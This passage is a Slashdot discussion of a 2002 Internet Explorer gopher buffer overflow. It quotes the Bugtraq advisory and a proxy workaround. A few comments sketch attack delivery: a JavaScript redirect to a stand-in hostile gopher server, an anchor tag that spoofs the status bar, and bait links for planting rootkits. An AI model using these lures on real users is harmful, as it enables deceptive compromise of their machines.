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Latest IE Hole Lets Gopher Root You

rvaniwaa writes "Another hole in internet explorer has been discovered. This hole allows a hacker to root a user's computer whenever the user clicks on a gopher link. All versions of IE are affected and a Microsoft spokesman stated that the company is "moving forward on the investigation with all due speed""

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  1. My thoughts: by FortKnox · · Score: 2, Insightful

    Written in one of my journal entries.

    See if this story follows pattern (I think it will).

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    1. Re:My thoughts: by EnderWiggnz · · Score: 3, Informative

      thats not the point -

      if you make a link to a gopher site in an html page, the average MS surfer will not hesitate to click on it.

      which is what the web was supposed to do, make it transparent.

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    2. Re:My thoughts: by EnderWiggnz · · Score: 3, Informative

      first of all, its an URL buffer overflow, a gopher link isnt needed.

      al thats needed is for someone to disguise an "evil" link, and whammo - you've got r00t.

      big big big remote exploit.

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    3. Re:My thoughts: by hkmwbz · · Score: 2, Redundant
      Your journal entry looks like a carefully crafted troll. Of course people complain about Microsoft. Just look at their track record when it comes to security flaws. Compare a product like Apache, which has the greatest market share in the web server market, to IIS. IIS har far more serious flaws, including security holes that have lead to viruses and worms spreading even easier than before. Why? Because their e-mail clients and browsers are vulnerable as well.

      They should have worked with security in mind in the first place. Now, we are at their mercy. We have to wait for them to release patches. If they screw up the patch, it just makes things worse. What are we to do when the patch fixes one thing but messes up something else? It has happened before, and it will most likely happen again.

      I see no reason to cut Microsoft any slack until they get a grip and fix their security.

      The problem is that it's too late, at least for now. Most people will probably never patch their systems. Let's take my aunt as an example. She is a PC user, but doesn't understand what's going on. I could explain to her in detail what security holes are about and what they can do. She still wouldn't have a clue as to how install security updates.

      Perhaps Microsoft's next line of products will be released with proper security in mind. If so, perhaps in 5-10, or even 15-20 years, no one will be using the current flawed products. That is when the problem is gone.

      For now, Microsoft can try to put out the fire, but it's no use putting out a huge forest fire with a water pistol.

      People's criticism of Microsoft is well deserved, and there is no "bigotry" or "elitism" involved for the most part. It is people being sick and tired of the monopolist which doesn't even take the responsibility involved in having such a huge market share in these areas.

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    4. Re:My thoughts: by perlyking · · Score: 2

      They'll run into it soon enough when some script kiddie wants to fuck over their box. Its only one click away.

      Sorry for the language.

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    5. Re:My thoughts: by jonadab · · Score: 2
      How about this pattern:
      1. The existence of the exploit is announced. Geeks complain loudly about the potential problems it could cause. Microsoft says they are working on the problem.
      2. Some time later, someone familiar with the details of the exploit tires of waiting for Microsoft to develop a patch, and releases a relatively harmless version of the exploit that doesn't really do any serious harm, but demonstrates the exploit. Microsoft says they are working on the problem.
      3. Microsoft releases a patch. Admins who are on the ball (a relative few) install it. Nobody else notices or cares, and the majority of systems remain vulnerable.
      4. Months later, somebody releases a more serious version of the exploit, that does real dammage and self-propagates. Work grids to a halt at millions of companies worldwide.
      The existence of the exploit in the first place is troubling, but the *really serious* problem is #3, where almost nobody installs the patch until it is too late. Basically, Microsoft may not care as much about security as the security experts do, but the sad truth is that many users and even sysadmins care even less.
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    6. Re:My thoughts: by Tony-A · · Score: 2

      I must admit, I find Slashdot more useful for supporting my Windows users than my Linux users. For Windows, we get up-to-the minute bug alerts - sometimes faster than the mailing list I'm on (non-MS), for Linux we get... point oh minor build releases of kernels.
      Linux (or any other *nix for that matter) will be much the same tomorrow as yesterday. No "news".
      Microsoft Windows is subject to the "Bug of the Month" syndrome (week? day??). News. Some of it matters. Whenever the "Big One" hits, Slashdot will most likely be the only competent resource for dealing with it.
      Why do you think Microsoft keeps spreading the myth about UNIX requiring expensive trained administrators? Set it up half-way decently and ignore it works for *nix, doesn't really work for Microsoft products. Further, *nix systems tend to be "informative" about what is going on. Microsoft systems tend to hide useful information. Slashdot is maybe the only source of unbiased information about Microsoft products. (Yeah, I know there's bias.)

    7. Re:My thoughts: by sphealey · · Score: 5, Insightful
      The existence of the exploit in the first place is troubling, but the *really serious* problem is #3, where almost nobody installs the patch until it is too late. Basically, Microsoft may not care as much about security as the security experts do, but the sad truth is that many users and even sysadmins care even less.
      Well, yes. OTOH, you missed Step 3a, where the Microsoft patch breaks numerous mission-critical non-Microsoft applications. Office 97 SP2 was a classic here: Novell Netware clients never worked the same after that one was installed. Necessary for security I am sure. And NT SP6, which broke Lotus Notes.

      You also missed step 2.9, where the hapless sysadmin spends 3 days trying to figure out Microsoft's patch dependency tree, which is not published. And even M$ admits that they use different, and incompatible, patch mechanisms for different product lines. So if I pull out the install disk to add an additional function to Visio, do I have to reinstall Office XP patches? Why or why not?

      sPh

    8. Re:My thoughts: by Tony-A · · Score: 2

      And bitchin' about it on Slashdot really helps solve their security problems doesn't it? "Look everybody, MS has another security problem let's laugh at them (again)."
      MS bugs - expected

      What to do about them - not so expected.
      Whatever makes you think it's the Linux guys constantly pointing and laughing. The only thing that has a chance of causing the holes to be fixed is ridicule. Long, persistent, and annoying ridicule. The image of Microsoft's gopher holes is too good to pass up.

  2. Too damn obvious by CaseyB · · Score: 5, Funny

    Let the "gopher hole" jokes begin.

    1. Re:Too damn obvious by Bob+McCown · · Score: 2, Funny
      OK...

      Here's one

    2. Re:Too damn obvious by kesuki · · Score: 4, Funny

      If this proves anything, It proves that you can't trust gophers. It's just like caddyshack all over again... those mangy critters, rooting IE.

    3. Re:Too damn obvious by Jucius+Maximus · · Score: 4, Funny
      Is it wednesday already? Time sure flies.

      I didn't expect the next roothole announcement to appear so soon.

    4. Re:Too damn obvious by Jucius+Maximus · · Score: 5, Insightful
      Just one question:

      Why the h3ll is anyone motivated to find bugs in IE's gopher protocols?!? It must have been a real slow day at Oy Online Solutions for them to find this.

    5. Re:Too damn obvious by ncc74656 · · Score: 2
      Thinking about groundhogs?

      You've never watched Caddyshack, have you?

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    6. Re:Too damn obvious by Wolfier · · Score: 2

      Maybe it has to do with the way the QA in MS test their software? Hm...let's see...this part is fixed...let's just test this part...oh some people reported bug on that part too, so let's test that part as well...

      As a result, the least executed branches contain a large number exploitable bugs. Gopher is just one of them I believe.

    7. Re:Too damn obvious by btellier · · Score: 4, Insightful

      You're looking at security research backwards. When I do security audits, particularly closed-source ones, I look at the more "obscure" features first. The benefits to this are numerous:

      - The program's maintainers are less likely to check these portions of code for errors because users don't complain about them as much.

      - The legacy protocols probably contain code from the pre-security awareness days. They're more likely to contain such "new" security concerns as Format String bugs and signed/unsigned conversions.

      - Other people doing audits on the same software have probably been over all the basics many times using automated tools and buffer overflow spamming.

      I know the above post was probably meant as a joke, but the guys above are probably more clever than you think.

    8. Re:Too damn obvious by Graspee_Leemoor · · Score: 2

      Your use of the word "h ll" offends me beyond measure. In future please consider using the word "hell" instead.

      graspee

    9. Re:Too damn obvious by mnordstr · · Score: 2

      "It must have been a real slow day at Oy Online Solutions"

      From the web page: "Online Solutions Oy on Jyväskyläläinen tietoturvan asiantuntijayritys." Translated: "Online Solutions Inc. is a small security firm in the middle of the forest, in the middle of nowhere". If they don't try to find some weird bugs like the bug in IE's gopher protocol, they might just as well go outside and shoot a bear to get some excitment in their day...

  3. All three gopher links left.. by sphealey · · Score: 2, Interesting

    Speaking as a person who used to use gopher quite a bit - how many gopher links are left on the WWW? Three?

    sPh

    1. Re:All three gopher links left.. by linderdm · · Score: 5, Insightful

      I agree that there may not be many gopher links that look like gopher links, but what stops the malicious from disquising their gopher links to look like regular hrefs?

    2. Re:All three gopher links left.. by Jason+Earl · · Score: 2

      Of course if all you need to do to take over an IE users computer is run a gopher server and get some hapless schmoe to click on a gopher link you can bet there will be a sudden resurgence in this venerable protocol. I imagine mixing in a link in pornography spam would probably net you quite a few computers. Some of them would almost certainly have useful information.

    3. Re:All three gopher links left.. by shadow303 · · Score: 3, Interesting

      Funny you should mention a resurgence. I just found this manifesto of people wanting to revive gopher.
      http://www.scn.org/~bkarger/gopher-manife sto

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    4. Re:All three gopher links left.. by Lord+Omlette · · Score: 2

      1. This is all the evidence Jon Katz needs to prove that Gopher is making a comeback and it's hackers like us who are doing it and we will overthrow the digerati and the ??AA and it could only be possible in a post 9/11 world.

      2. Since gopher's used very rarely, if at all anymore, that's probably why MS hadn't bothered to keep the code up to date. /Gs isn't all it's cracked up to be :(

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    5. Re:All three gopher links left.. by zangdesign · · Score: 2

      What would be the advantages of reviving gopher? I can't think of any.

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    6. Re:All three gopher links left.. by Simon+Brooke · · Score: 5, Informative
      Speaking as a person who used to use gopher quite a bit - how many gopher links are left on the WWW? Three?

      That really isn't the point. It would not take many minutes to put up a gopher server with a Win 32 rootkit as content, and then put an innocent but interesting looking link into a web page ('free live world cup scores' would do nicely just now) with an href pointing to that server, and, ideally, one of those annoying JavaScript scrollers in the browser status display to prevent the user from noticing they're about to click a gopher link, and, hey! That's a few more suckers rooted. It will probably go through most firewalls, too.

      If you (or your organisation) still use Internet Explorer, I would treat this as serious. Change your default IE install to have gopher point to a safe machine of your own; block gopher at your firewall; and, ideally, switch to Opera 6, Netscape 6, or Mozilla as your organisation's default browser.

      This isn't going to be the last security hole found in IE.

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    7. Re:All three gopher links left.. by Zocalo · · Score: 2
      There are over a million Gopher links according to Google. Which, I have to admit, is a few orders of magnitude more than what I was expecting.

      Hmm. Now I'm going all nostalgic for Archie, Veronica and WAIS. Well, maybe not WAIS.

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    8. Re:All three gopher links left.. by kesuki · · Score: 5, Insightful

      nothing... a simple redirect page can force the gopher link to be opened without the user even being asked to click anything. Not to mention javascript. Anything that allows all those pop-up and pop-under ads can just as easily open a gopher link.

    9. Re:All three gopher links left.. by br0ck · · Score: 3, Interesting

      Exactly.. it wouldn't take long for a page that says Download the UT 2003 demo to nuke a bunch of computers. (Where's the demo anyway, dammit, I'm dying to play!)

      As I pointed out yesterday, there's more info about the bug and it's prevention available from Oy Solutions, who found the exploit.

    10. Re:All three gopher links left.. by silicon_synapse · · Score: 4, Interesting

      Why does a user need to click on the link? Why not just use a javascript location.href= or whatever to automatically load the link? It's my understanding that Yahoo Profiles still lets you embed javascript in a picture URL. What's to stop someone from creating an automated attack and then getting chatters to check your profile? The possibilites seem endless.

    11. Re:All three gopher links left.. by gosand · · Score: 2
      I agree that there may not be many gopher links that look like gopher links, but what stops the malicious from disquising their gopher links to look like regular hrefs?

      Or better yet, auto-forwarding to them. Throw up a hit page for Google to find, and sit back and wait for the hits. Or spam with the address. It isn't like someone who would exploit this is scrupulous or anything.

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    12. Re:All three gopher links left.. by Jucius+Maximus · · Score: 3, Interesting
      "I agree that there may not be many gopher links that look like gopher links, but what stops the malicious from disquising their gopher links to look like regular hrefs?"

      <a href="gopher://hostile-link" on mouseover status.text="http://www.friendlysite.com" return true>click here!</a>

      Now my javascript is rusty and I have not tried this ... but you get the idea.

    13. Re:All three gopher links left.. by SgtChaireBourne · · Score: 2

      Youll notice in the article that you dont actually have to have a gopher server running. MSIE just has to connect to the trap via a gopher-like URL.

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    14. Re:All three gopher links left.. by BlowCat · · Score: 3, Funny
      This reminds me a joke about a sword incompatible with non-certified dragons :-)

      Just because nobody uses something legitimately, it doesn't mean that nobody will use it maliciously.

    15. Re:All three gopher links left.. by phayes · · Score: 2, Insightful
      Gopher was a protocol devised to replace FTP. Anyone who has ever taken a look at the protocol FTP uses or set up a firewall knows how crufty FTP is (FTP needs 2 ports, a get implies a connection from the server tu the client, etc).

      Gopher had the advantage of a clean protocol & easy to use clients.

      FTP had the advantage of being widely deployed.

      Had not prettified clients like web browsers come along at the time they did, ftp was doomed, but once the clients were easy enough to use there wasn't enough incentive to replace crufty old FTP.

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    16. Re:All three gopher links left.. by xtremex · · Score: 2

      Actually, I've always believed that the gopher protocol was better than WAP for wireless. It offers EVERYTHING WML can offer, plus it's easier to use. Gopher is an exisitng protocol that works perfectly well for Wireless Sites

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    17. Re:All three gopher links left.. by ncc74656 · · Score: 2
      "I agree that there may not be many gopher links that look like gopher links, but what stops the malicious from disquising their gopher links to look like regular hrefs?"

      <a href="gopher://hostile-link" on mouseover status.text="http://www.friendlysite.com" return true>click here!</a>

      Mozilla has a fix for that...under "Advanced: Scripts & Windows" in preferences, uncheck "allow webpages to change status bar text." It's also handy for getting rid of the annoying scrolling text that some sites like to put in the status bar. I want to know that a link goes where I want it to go and not to goatse.cx or whatever.

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    18. Re: All three gopher links left.. by elemental23 · · Score: 2

      But that's ok because someone doing this is going to be targetting IE users, not Mozilla. There is no comparable option in IE.

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    19. Re:All three gopher links left.. by twoflower · · Score: 2
      2. Since gopher's used very rarely, if at all anymore, that's probably why MS hadn't bothered to keep the code up to date.
      You're missing the point -- the code shouldn't have to be "kept up to date"; it should have been written correctly in the first place.

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    20. Re:All three gopher links left.. by snake_dad · · Score: 4, Funny
      (Where's the demo anyway, dammit, I'm dying to play!)

      You mean you haven't found it yet? It's right here!

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  4. hostile Gopher site? by Fantanicity · · Score: 4, Funny

    "hostile Gopher site"? Ouch ... I think shall wear kevlar underpants while using IE in future.

    1. Re:hostile Gopher site? by bryan1945 · · Score: 2

      Yes, come to my evil, eeeeeevil
      gopher site

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  5. And how's that working for ya? by jimmu · · Score: 4, Funny

    From the article:

    In January, Microsoft Chairman Bill Gates instructed employees to make software security a top priority.

    Yeah, looks like everythings moving full steam ahead on that front.

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    1. Re:And how's that working for ya? by liquidsin · · Score: 4, Insightful

      Hey, cut them some slack. It only took five months to find a hole in a protocol that nobody's used in...what...seven, eight years? We should have all the IE/Outlook bugs patched up sometime around 2026.

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    2. Re:And how's that working for ya? by ehiris · · Score: 2

      Microsoft Chairman Bill Gates

      As Microsoft chairman he should fire the Chief Software Architect.

      Obviously that guy is not up to his job.

    3. Re:And how's that working for ya? by ehiris · · Score: 2

      Maybe not look through the code personally but the chief software architect isn't capable of getting his software architects to verify that correctness.

  6. ...and yet by rknop · · Score: 2

    And yet, despite regular reports like this, posters on Slashdot keep asking why anybody who "cares about the web" would bother using a browser other than IE, and suggest that somebody who wants to use another browser (and, heavens, support cross-platfrom and cross-platfrom browsers) is a naive moralistic high-horse-rider who needs to wake up and get with the program.

    With the program doesn't look like a very nice place to get to me....

    -Rob

    1. Re:...and yet by Fantanicity · · Score: 2, Insightful

      When are the writers of other browsers going to release the documentation proving that the gopher handling code has been security auditted, that sufficient gopher testcases have been built, and that the browser passed all the gopher handling tests?

      The reason there are aren't reports of security holes in gopher code in other browers is that no-one has looked, not that the holes don't exist.

    2. Re:...and yet by Craig+Maloney · · Score: 2
      I think the big difference here is not every single Linux exploit is applicable on all systems. Internet Explorer is on virtually every machine out there. Remember the BIND exploit a while back? That made front page news as well.

      Granted it's more fashionable to laugh when it's Microsoft's code, but Linux isn't beyond reproach as well.

    3. Re:...and yet by gilroy · · Score: 2
      Blockquoth the poster:

      The reason there are aren't reports of security holes in gopher code in other browers is that no-one has looked, not that the holes don't exist.

      Logic error: Unless you can provide documentation indicating a successful gopher exploit in, say, Opera, all that you can validly say is

      The reason there are aren't reports of security holes in gopher code in other browers is that no-one has looked, not necessarily that the holes don't exist.


      It is logically quite possible that Opera, or Mozilla, or whatever is in fact secure, since we have no evidence to the contrary. Of course, absence of evidence is not evidence of absence ... there might be a hole in Opera, or whatever. But since you're making a positive definite claim -- that such a hole does exist -- the burden of proof is on you.
    4. Re:...and yet by gilroy · · Score: 2
      Blockquoth the poster:

      Granted Microsoft has not always been forthcoming with security alerts but hell even since 98 with WindowsUpdate you can more or less stay on top of these.

      Sure, when Microsoft finally gets around to releasing a patch. They've known about this explot for nearly three weeks. I disbelieve that mozilla, for example, would leave it in place this long.
  7. New MS Hacker Slogan by Anonymous Coward · · Score: 5, Funny

    "Where do you want to gopher today?"

    1. Re:New MS Hacker Slogan by Tony-A · · Score: 2

      What will your data gopher?
      Where will your data gopher today?

  8. ObCaddyshack: by kafka93 · · Score: 3, Funny

    "I smell varmint poontang, and the only good varmint poontang is dead varmint poontang, I think."

    1. Re:ObCaddyshack: by grytpype · · Score: 2

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  9. well you can't expect... by arson1 · · Score: 5, Funny

    Well you can't expect Microsoft to keep up with all these new technologies and formats!

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    1. Re:well you can't expect... by SethJohnson · · Score: 2, Funny


      You have a strong understanding of the obvious, but a weak sense for sarcasm. Congratulations. You'll probably be promoted into management.
    2. Re:well you can't expect... by arson1 · · Score: 2

      I'm aware, somehow my sarcasm escaped you. Gopher was developed at the U of Minnesota, thus the name Gopher (the school's mascot).

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  10. Wow... by TweeKinDaBahx · · Score: 2, Troll

    ...I can only imagine how someone found this one.

    However dangerous this hole may be, there are a few reasons why it probably won't create an end of the world scenario, most imporatant of these that gopher is absolutly archaic. I personally havn't seen a gopher server since 1996 (at MIT).

    Second, as always, Microsoft will have a patch out fairly quickly, which is more that can be said for mozilla half of the time...

    *Ducks and covers due to flying penguins*

    1. Re:Wow... by Jason+Earl · · Score: 2

      If he lives anywhere near me (same hemisphere) I would recommend that he not go outside to take a shower. It's probably illegal, and it is very likely that some innocent bystander could get hurt.

    2. Re:Wow... by Gerv · · Score: 5, Insightful

      most imporatant of these that gopher is absolutly archaic.

      <script>
      document.location.replace("gopher://ev il.gopherser ver.com:7000/buffer_overflow/");
      </script>

      Second, as always, Microsoft will have a patch out fairly quickly, which is more that can be said for mozilla half of the time...

      I'm amazed at how you split one security hole (XMLHTTPRequest) in two to make a "half the time"... :-)

      Incidentally, the patch for XMLHTTPRequest was in nightly builds within 48 hours of the bug report, and in the next milestone within about a week. In contrast, there are currently 17 unpatched holes in IE. What was that you were saying about "quickly"?

      Gerv

    3. Re:Wow... by xercist · · Score: 2

      Yes it does. I just did. *shrug*

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    4. Re:Wow... by slamb · · Score: 2
      Had you read the article, you do not need to have a Gopher server running. It is a URL buffer overflow in the Gopher protocol.

      No, the article doesn't say that. And from the bugtraq posting:

      The attack can be launched via a web page or an HTML mail message which redirect the user to a malicious gopher server when the victim views them. The server can be very minimal, ie. a program that can listen on a TCP port and write a block of data; a fully operational gopher server isn't necessary in order to carry out the attack.

      So it seems it is a buffer overflow in handling responses from gopher servers, not in the gopher URL. And they propose the workaround mentioned here of setting a proxy server for gopher that can never be accessed (localhost:someunusedtcpport).

    5. Re:Wow... by slamb · · Score: 2
      Right, the _exploiter_ has to have something listening for gopher connections, but the _exploitee_ (i.e., the user being rooted) only has to click on a link or visit a site that happens to be malicious.

      No, you misunderstood. The connection must actually be completed for the exploit to work. That is the key distinction here, between a buffer overflow in the URL handling and a buffer overflow in interpreting replies from the gopher server. That is why the proxy workaround is successful.

  11. The remedy by sh0rtie · · Score: 5, Informative

    To protect from potential exploiting, you can temporarily disable the gopher
    protocol like this:

    Go to Tools -> Internet options -> Connections. Click on "LAN settings".
    Check "Use a proxy server for your LAN". Click on "Advanced...".

    Go to the Gopher text field
    and enter "localhost", and "1" in the port field. This will stop Internet
    Explorer from showing and processing any gopher pages.

    this will protect you for now, at least until M$ pull their finger out

    1. Re:The remedy by slamb · · Score: 2
      better yet just block port 70 on the firewall.

      That won't help. The port can be specified in the URL. Haven't you seen links like <a href="gopher://nowhere.com:79/bob">finger bob@nowhere.com</a> before? (An old trick - using the gopher support for finger instead.)

    2. Re:The remedy by Grax · · Score: 2

      The original notification of the security flaw includes the above, perfectly workable fix. I find it irresponsible that the news organizations that I have seen, CNN and Yahoo, reproduce news of the flaw without including the working workaround.

    3. Re:The remedy by crimoid · · Score: 2

      Of course this "workaround" does nothing to fix the problem. Instead it just cripples IE's ability to use gopher.

    4. Re:The remedy by Grax · · Score: 2

      I don't see the problem. Most of CNN's readership have no clue what gopher even is and have never been to a gopher:// link.

  12. Yay I'M SAFE! by ramdac · · Score: 2, Funny

    I don't have a root user...this must mean my M$ machine is perfectly safe!?

    1. Re:Yay I'M SAFE! by Kizzle · · Score: 4, Funny

      Thats what sucks about windows, you can't say that you rooted some one. Saying "I AMINISTRATORED YOU!" just doesnt sound cool.

    2. Re:Yay I'M SAFE! by zulux · · Score: 5, Funny

      The best thing about Windows?

      It forced me to learn to spell 'administrator.'

      Kinda like how FTP forced me to learn to spell 'anonymous.'

      Or somthing.

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    3. Re:Yay I'M SAFE! by spongman · · Score: 2

      you can use the 'ftp' user instead of 'anonymous'

    4. Re:Yay I'M SAFE! by cscx · · Score: 2

      I have a linux-type friend who renamed 'Administrator' to 'root' on his NT box cause he couldn't remember how to spell it... :o)

  13. Stats, anyone? by DesScorp · · Score: 4, Interesting

    Has anyone ever tried to compile stats on security holes in browsers? What I'd like to see is a comparison of browsers in this case, with each version listed with the various vulnerabilities found? Obviously, IE is going to come out on top here, but I'd be interested to see such a list anyway. I've looked around the SANS site and didn't see anything like that. I'd even settle for a short summary. Something like IE has X amount of holes, Netscape has Y amount of holes, Opera has Z amount, and so on.

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    1. Re:Stats, anyone? by sh0rtie · · Score: 5, Informative


      Yep this site specialises in just that
      Here

      also George Guninski does some research here
      Here

      and Mr Malware
      Here

    2. Re:Stats, anyone? by InfiniteVoid · · Score: 2, Interesting

      There is no way these type of statistics are going to be accurate.

      First, there's the question of what constitutes a security hole. some might say allowing rampant JavaScript popups is a security hole. Others might require that binary code actually be executed on the machine, or that the HD is modified.

      Second, the number of security holes found, in the case of closed-source browsers, is the number of security holes that its company wants to bother telling you about. It's entirely possible that there are hundreds of security holes in IE that MS knows about and hasn't divulged. Maybe they were quietly fixed in previous IE patches. Maybe they're left unfixed so MS can look like it's making speedy repairs when someone finally finds the bug on their own and tells the press. Again, there's no way of knowing how many of the bugs are being reported.

      Finally, the number of security holes found may correlate strongly with how insecure a browser is. But it could also be that said browser is just used more. Or its code is readable, so such bugs can be found. Or it is actively being developed by coders who care about security. Or no one uses the browser and it's insecure as hell but nobody cares.

      Too many variables. Any study on the number of security holes known is only going to tell you one thing: the number of security holes *known*.

  14. Or... by Robber+Baron · · Score: 2, Insightful

    Don't use IE!

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    1. Re:Or... by Jucius+Maximus · · Score: 3, Insightful
      "Don't use IE!"

      I wish it was that simple. There are hordes of people out there who have jobs where if they install anything on their work computer they will get in trouble.

      I am one of these people. I have no choice but to use MSIE and Outlook on NT at work.

      I feel so dirty.

      And thus the previous comments about blocking gopher are important to many.

    2. Re:Or... by SethJohnson · · Score: 4, Funny


      I think it is then your responsibility to intentionally fall victim to every IE / Outlook exploit that comes around. Make your suffering public within the company. Demonstrate how your productivity is reduced due to the draconian browser and mail client policies of your company. After repeated episodes of the IT crew re-imaging your machine, perhaps they'll reconsider.
    3. Re:Or... by Jucius+Maximus · · Score: 2
      "I think it is then your responsibility to intentionally fall victim to every IE / Outlook exploit that comes around. Make your suffering public within the company. Demonstrate how your productivity is reduced due to the draconian browser and mail client policies of your company. After repeated episodes of the IT crew re-imaging your machine, perhaps they'll reconsider."

      I am a computer engineering student who was hired for computer programming skill. That's not supposed to happen to me. But I do understand your point. At least this is co-op ... I will only be working like this for the next few months.

      And yes, I have explained to the management about the fire they are playing with. There are honestly FAR bigger company issues right now. I don't want to identify my employer (it's not MSFT) but if you lived in the area we are in, you would agree that this is a small fry issue.

    4. Re:Or... by mobiGeek · · Score: 2
      I wish it was that simple. There are hordes of people out there who have jobs where if they install anything...

      ...it automatically installs IE.

      They're called "MS-Windows developers"....

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    5. Re:Or... by rcs1000 · · Score: 2

      The problem is that they might reconsider employing you: after all, it takes a rare skill to bring your machine down on a regular basis!

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    6. Re:Or... by Tony-A · · Score: 2

      The company is work for is huge ($billions in assets, thousands of employees) and there are support contracts which complicate matters immensely.
      The question is whose neck is on the chopping block when (unless you believe there is no one both evil and intelligent in the world) something actually damaging hits. Remember Melissa? Melissa was nice.

    7. Re:Or... by cscx · · Score: 2

      Of course, since Mozilla (nor NS6 for that matter) doesn't correctly support some proxy auto-configs, you could be SOL.

    8. Re:Or... by Dahan · · Score: 2
      sometimes i wonder if anyone posting here has a real job.

      I was wondering the same thing about you, actually.

    9. Re:Or... by SethJohnson · · Score: 2


      When the fuck did anyone train your users in IE? Why will they need to be retrained?

      And licensing? Since when did any other browsers require licensing fees?

      Of course the help desk tard isn't going to have any decision making power over whether to switch the company to another browser, etc. I'm not encouraging people to call up the help desk and tell that person to switch the company. I'm simply encouraging people to stumble over this exploit and call the help desk to get their computers repaired from the damage done. If the help desk is tied up with enough IE security headaches, then the real phbs (pointy-haired-bosses) will take notice and perhaps listen to that one pasty-skinned guy with long hair who keeps suggesting at meetings that the company ween itself away from the Microsoft tax.

  15. **Sigh...** by TweeKinDaBahx · · Score: 2, Insightful

    Most of the other browsers have security holes found in them from time to time as well, but most of the kind crackers out there seems to take a diabolical pleasure in focusing on IE (and since it's one of the core technologies of it, Windows...). If people spent as much time trying to break many of the other Browsers out there, I'm sure they would find they're all their own brand of swiss cheese.

    No software is rock solid, even when it's written to be. There's always a european teenager with way too much time on their hands just waiting to turn you Titanium fortress into a window screen...

    1. Re:**Sigh...** by belbo · · Score: 2

      You don't think that a 90% market share comes with a special obligation and responsibility, then?

      b.

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    2. Re:**Sigh...** by Jeremi · · Score: 3, Insightful
      No software is rock solid, even when it's written to be


      Perhaps so, but avoiding buffer overflows isn't rocket science. It's a simple matter of bounds checking. There's really no excuse.

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    3. Re:**Sigh...** by julesh · · Score: 2, Informative
      Most of the other browsers have security holes found in them from time to time as well, but most of the kind crackers out there seems to take a diabolical pleasure in focusing on IE (and since it's one of the core technologies of it, Windows...). If people spent as much time trying to break many of the other Browsers out there, I'm sure they would find they're all their own brand of swiss cheese.

      If you read any of the security mailing lists you will find that probably about half of the IE holes we've seen over the last few years were discovered by Georgi Guninski. Georgi has also researched other browsers, as you will see from his site. He just hasn't found as many holes in the others.

      OK, so IE gets the focus from most people. But just because its in the centre of attention doesn't mean it doesn't actually have more problems than the rest of them...

  16. Sadlly... by C0vardeAn0nim0 · · Score: 2

    segfault.org is temporarily out of busines or it'll be a good time for an "arcticle" in the lines of "no IE security flaws found this week".

    now seriously, this is getting anoying. since I started to rely on mozilla only (or since I ditched netscape 4.x for good) some 6 months ago I saw only ONE serious security flaw reported on it and it was corected in a week or so. but with IE we have at least 2 anoucements a month. this is getting so frequent I'm here asking /. to only publish news about IE when the head line is someting in the lines of the segfault.org's style headline above. It'd save a lot in terms of my patience and bandwidht.

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  17. Slipping off the treadmill by babbage · · Score: 2
    The last gopher server I used to visit regularly shut down something like three years ago. As far as I know -- no, I haven't checked -- there are no active gopher servers anymore.

    And Microsoft is just getting around to hunting down security holes *now*? What does this say about more current protocols?

    I predict that by 2005, they'll start looking for holes in SOAP )

  18. CaddyShack by tswinzig · · Score: 2

    Sandy: "I want you to kill all the gophers on this course."

    Spackler: "Check me if I'm wrong Sandy, but if I kill all the golfers, they'll lock me up and throw away the key."

    Sandy: "The GOPHERS, man! Kill all the GOPHERS!"

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    "And like that ... he's gone."
  19. New Product: Microsoft Door by Ghengis · · Score: 2, Funny

    Keep the burglars out of your house with the new Microsoft Door. Complete with not dead-bolts, but tape, yes TAPE to keep it locked. Also, we've reached an all new level of user friendliness with the omission of door-knobs!!!

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  20. When was the last time... by istartedi · · Score: 2

    ...anybody clicked on a gopher link?

    If there isn't a patch yet, or if MSFT says you gotta have IE6 or something, easiest thing to do is just block gopher. What is the gopher port anyway?

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    1. Re:When was the last time... by Permission+Denied · · Score: 2
      gopher is 70/tcp according to assigned numbers, but all the gopher links I still see around (I know of three or four - not joking) run on non-standard ports.

      One fun thing is that our directory services only have a gopher interface and don't have an http interface. This means I publish my email address, postal address and telephone number using gopher. This is great because the spambots don't do crawl gopher, so I get zero spam, but most people using a web browser can still view my contact information.

  21. Official Bugtraq Post by PunchMonkey · · Score: 5, Informative

    The Official Bugtraq Post:

    OVERVIEW
    ========

    Gopher is a protocol developed at the University of Minnesota in the
    early 1990's. Gopher servers offer hierarchically organized directories
    and files. These form a "gopherspace" which can be thought of as the
    predecessor of the World Wide Web. Gopher was mostly abandoned soon after
    HTTP and the World Wide Web started gaining popularity.

    Microsoft Internet Explorer has a built-in gopher client. Gopher pages can
    be accessed via URLs starting with "gopher://". The part of code in IE
    which parses gopher replies contains an exploitable buffer overflow
    bug. A malicious server may be used to run arbitrary code on an IE user's
    system.

    DETAILS
    =======

    When the overflow is triggered, a fixed sized buffer in stack gets
    overwritten with data from the gopher server. This data can contain most
    octets from 0 to 255 (also nulls) which makes it particularly easy to
    inject a working shellcode in it. This is a traditional, trivially
    exploitable buffer overflow. A test exploit has been successfully used to
    run arbitrary code without user intervention with various IE versions and
    systems including IE 5.5 and 6.0.

    The attack can be launched via a web page or an HTML mail message which
    redirect the user to a malicious gopher server when the victim views them.
    The server can be very minimal, ie. a program that can listen on a TCP
    port and write a block of data; a fully operational gopher server isn't
    necessary in order to carry out the attack.

    The exploiter could do anything that a regular user could do on the
    system: retrieve, install, or remove files, upload and run programs, etc.

    Full technical details aren't disclosed at this time to prevent
    exploitation.

    WORKAROUND
    ==========

    Internet Explorer users can protect themselves from the flaw by disabling
    the gopher protocol. Barely any gopher servers exist on the Internet
    today, so this is unlikely to cause problems. If needed, a gopher client
    or some other web browser can be used to access the gopherspace.

    An easy way to disable processing and displaying gopher pages is to define
    a non-functional gopher proxy in Internet Options. Select Tools ->
    Internet options -> Connections. Click on "LAN settings". Check "Use a
    proxy server for your LAN". Click on "Advanced...". Here you can define
    proxy servers to be used with different protocols. Go to the Gopher text
    field and enter "localhost", and "1" in the port text field. This will
    stop Internet Explorer from fetching any gopher documents.

    After installing the patch from Microsoft you can remove these gopher
    proxy settings (or restore them to values they had before).

    For more information and a vulnerability test see
    http://www.solutions.fi

    VENDOR STATUS
    =============

    Microsoft was contacted on May 20th. At the moment of writing this
    advisory, Microsoft has started designing and coding a fix, but hasn't
    given any approximation of when it would be released. The patch will be
    available at

    http://www.microsoft.com/technet/security/current. asp

    when it is completed.

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  22. Workaround by DeadSea · · Score: 2
    Is there a workaround for this? Probably not. I don't think any of the major browsers have a way to selecivly disable browser features. It would be nice if you could disable gopher: hyperlinks until this got fixed.

    A nice browser feature would be a regular expression based prefilter of web pages. If a file called prefilter.rules exists, the browser would run the raw html of each pages it downloaded through the filter. This would allow admins to make the browser safe again (with some lost functionality) until the browser was patched.

    In this case you might want to use a rule something like:
